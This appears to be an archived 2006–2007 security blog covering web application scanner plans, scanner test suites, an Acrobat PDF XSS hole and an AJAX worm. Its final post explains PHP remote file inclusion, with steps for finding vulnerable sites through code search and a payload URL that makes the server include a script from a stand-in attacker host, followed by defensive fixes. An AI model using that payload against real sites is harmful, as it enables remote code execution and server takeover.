If another input than the good one is filled than this should be a automated thing...

These techniques are absolutely not perfect at all, for the first, the assumption is quite odd I mean than it's not too hard to build a bot which can handle javascript/css/dom etc. and for the second, the 3 inputs are not enough, you need at least 30 for a representative trust.

Monday, January 29 2007

When Black Box becomes Dark Box...

What if - in some cases - a Web Application Scanner (black box tester) could tell you that you have this vulnerability/weakness in your code at this line?

Got some ideas this morning on this, I'll try to implement this in Grabber in the next weeks.

Thursday, January 11 2007

What I want to for early 2oo7.

Even if i'll be busy with papers and tests, I really would like to do different things:

  1. Grabber: Adding an encoding stuffs for testing with different type of charsets (UTF-7/8/16 and other type of languages)
  2. Create a JavaScript functional analyzer: I've been thinking on this for a while, I think this is a good idea to detect XSS. I was thinking of using Stratego/XT for the parsing/AST construction; but still, because it's javascript, it's really hard to parse every possible things.
  3. XSS Handler: Just for fun, I want to do a PHP function for preventing XSS (using mb_strings) and the same kind of thing in Python

Wednesday, January 10 2007

Test Suites for Web Application Scanners

For a while, I've been working on a test suite for evaluating web application scanners. Now I have a test suite (PHP/MySQL/AJAX) with a bunch of variable vulnerabilities:


But there is a problem for a full evaluation. Web Application are not only a simple schema of scripts and databases and complex relation, there is also server configuration, infrastructure, different type of databases etc. Thus, I really have to create different test suites for a good coverage of what web apps could be.
I plan to use:

  • Ruby On Rails framework
  • ASP.NET/MS SQL based application
  • JSP application


This should cover the differnt type of application but I still have to think about server types, architectures,multiple databases etc.

Wednesday, January 3 2007

Nice catch: XSS in Acrobat PDF

I've just read it on Stefan Esser's blog: Stefano Di Palmo has disclose an XSS hole in the Acrobat PDF Documents. Just to have a look at this you can go here: PDF and XSS under Google!

This vulnerability is really important, be careful when you're opening a PDF file...

All of these vulnerabilities in rich documents (FLASH, MHTML, SVG, Quick Time Movie, PDF, etc.) look like there is a big lack of security when people are designing this. Of course these are amazing documents and very useful, but with the so called Web 2.0 (and maybe the next web 3.0 with video broadcasting and much more) there is more and more holes.

What can we do? Think twice before creating web services with media documents?
This is not productive enough and maybe a little security lack is not really bad.Do we care if a couple of guys can steal some passwords...

I guess lots of people are thinking like that, this is understandable but truly not the right way.

Monday, October 30 2006

Deja Vu

How proof of concepts are exciting ? Here is a Worm based on AJAX technology, imagine what it can do! So this worm use XSS to inject the worm-core source as JavaScript in a field (body, iframe etc.).

This kind of self-propagation application reminds me to make a web crawler, but only for the Reverse project. I really want to have a full database. I will start by scanning the lot of source I have on my computer, then the web...

Also, I need to make a script to generate/store nice and strong enough passwords. It will be provide in the Reverse project page.

Friday, October 27 2006

How to scan for basic php include injection / How to prevent this kind of injection ?

Here we go.

What you wanna do ?

You can do whatever you want once you have this access: installing a rootkit, looking at the db etc.

How to do that ?

Follow the next instructions...

First: Find the victim

Thanks to google code search, you can look for a basic php include with a get/post value. Mine the results until you find something interesting...

What the hell can I do to execute server side script ?

Basically, what you've found is:

<? ..
   include( $_GET['myFile'] );
?>

Just give the script what he wants: http://.../blah.php?myFile=http://bad.server.com/myScriptPHP.txt

What can I do if my website has such a vulnerability ?

The most easy for you is to add absolute path, such as:

<? ..
   include( '/home/foo/www/docs/' . $_GET['myFile'] );
?>

Then, to be sure that the file is okay, you only have to allow in-domain file opening, then:

<? ..
   $myFile = '/home/foo/www/docs/' . $_GET['myFile'];
   if (!file_exists($myFile))
      $myFile = '/home/foo/www/error/404.html';
   include( $myFile );
?>

Another way to do that is the next:

<? ..
   $myFile = htmlentities($_GET['myFile']);
   switch($myFile){
      case 'menu':
      case 'blog':
      case 'cv':
         break;
      default: $myFile = 'error'; break;
   }
   include( $myFile );
?>
I <3 Bots!